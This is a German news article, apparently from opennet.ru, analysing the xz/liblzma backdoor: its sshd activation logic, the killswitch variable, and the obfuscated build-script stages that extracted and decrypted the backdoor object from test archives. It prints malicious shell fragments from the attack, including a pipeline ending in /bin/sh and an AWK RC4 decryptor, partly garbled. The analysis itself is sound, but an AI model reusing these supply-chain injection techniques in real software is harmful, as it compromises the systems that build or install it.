Analyse der Aktivierungslogik und Funktionsweise des Backdoors im Paket xz

Vorläufige Ergebnisse der rückwärtigen Analyse einer schädlichen Objektdatei, die in liblzma eingebettet ist, als Teil einer Kampagne zur Verbreitung eines Backdoors in das xz-Paket, sind verfügbar. Das Backdoor betrifft ausschließlich x86_64-Systeme basierend auf dem Linux-Kernel und der C-Bibliothek Glibc, bei denen ein zusätzlicher Patch auf sshd angewendet wird, um eine Verbindung zur libsystemd-Bibliothek für die Unterstützung des sd_notify-Mechanismus herzustellen. Ursprünglich wurde angenommen, dass das Backdoor eine Umgehung der Authentifizierung in sshd ermöglicht und den Zugriff auf das System über SSH gewährt. Eine detailliertere Analyse zeigte jedoch, dass dies nicht der Fall ist und das Backdoor die Möglichkeit bietet, beliebigen Code im System auszuführen, ohne Spuren in den sshd-Logs zu hinterlassen.

Insbesondere überprüft die durch das Backdoor abgefangene Funktion RSA_public_decrypt die Signatur des Hosts unter Verwendung eines festen Ed448-Schlüssels und führt im Falle einer erfolgreichen Überprüfung den vom externen Host übergebenen Code mit der Funktion system() in der Phase vor dem Privilegienabbau des sshd-Prozesses aus. Die Daten, die den auszuführenden Code enthalten, werden aus dem Parameter „N“ extrahiert, der an die Funktion RSA_public_decrypt übergeben wird (Feld „n“ der Struktur rsa_st, die den vom externen Host übergebenen öffentlichen Schlüssel enthält), werden auf die Prüfziffer überprüft und mit einem vordefinierten ChaCha20-Schlüssel in der Phase vor der Verifizierung der Ed448 digitalen Signatur entschlüsselt.

Als Merkmal zur Aktivierung des Backdoors im sshd wird der Standard-Mechanismus zum Austausch von Hostschlüsseln verwendet. Das Backdoor nutzt aus, dass die OpenSSH-Zertifikate den öffentlichen Schlüssel der Person enthalten, die die Signatur erstellt hat, und reagiert nur auf den Schlüssel, der vom Angreifer vorbereitet wurde und zu dem festgelegten Ed448-Schlüssel passt. Wenn die Verifizierung der Signatur mit dem öffentlichen Schlüssel fehlschlägt oder die Integrität der auszuführenden Daten nicht bestätigt wird, gibt das Backdoor die Kontrolle an die Standardfunktionen von SSH zurück.

Da der private Schlüssel des Angreifers unbekannt ist, ist es unmöglich, einen Überprüfungscode zu implementieren, der es Dritten ermöglicht, die Hintertür zu aktivieren und einen Scanner für kompromittierte Hosts im Netzwerk zu implementieren. Forscher haben ein Skript vorbereitet, das die Technik demonstriert, einen öffentlichen Schlüssel mit beliebigem Inhalt in das vom SSH-Client übertragene OpenSSH-Zertifikat einzufügen, das in der vom Hintertür verwendeten RSA_public_decrypt-Funktion verarbeitet wird.

Die Forscher bemerkten ebenfalls das Vorhandensein einer Konstruktion, die die Hintertür auf dem lokalen System deaktiviert (Killswitch), wenn die Umgebungsvariable "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" vor dem Start von sshd gesetzt ist.

Zusätzlich kann die detaillierte Analyse von Shell-Konstruktionen erwähnt werden, die zur Verschleierung des Prozesses verwendet werden, um die Objektdatei mit dem Backdoor zu extrahieren und in die Bibliothek liblzma einzufügen. Während des Builds des xz-Pakets aus dem Skript build-to-host.m4 wurde ein Code ausgeführt, der unter den Testdateien das Archiv bad-3-corrupt_lzma2.xz fand, darin einige Zeichen ersetzte, es in ein unbeschädigtes Archiv umwandelte und das Shell-Skript daraus extrahierte. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’ gl_path_map=’tr «\t \-_» » \t_\-«‘

Das erhaltene Shell-Skript extrahierte stückweise aus dem Inhalt des Archivs good-large_compressed.lzma ein weiteres Shell-Skript, indem es bestimmte Sequenzen mit den Befehlen head und tail übersprang und die Zeichen mit dem Befehl tr ersetzte. ####Hello#### # einige Binärbytes hier, aber da es ein Kommentar ist, werden sie ignoriert [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Infolge dessen entstand ein recht komplexes und umfangreiches Shell-Skript, das direkt die Datei mit dem Backdoor aus dem Archiv good-large_compressed.lzma extrahiert, sie entschlüsselt und in liblzma einbettet. Unter anderem enthielt das Skript eine Implementierung eines Plugin-Mechanismus, der es ermöglichte, später zusätzliche ausführbare Komponenten durch das Bereitstellen neuer Testarchive zu liefern, ohne good-large_compressed.lzma und bad-3-corrupt_lzma2.xz zu ändern, sondern durch signaturbasierte Suche. Im Code wurde auch ein Decryption Tool auf Basis des RC4-Algorithmus eingesetzt, implementiert in AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed 's/\(.\)/\1\n/g' | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Quelle: opennet.ru

Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen 🔥 Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen | ProHoster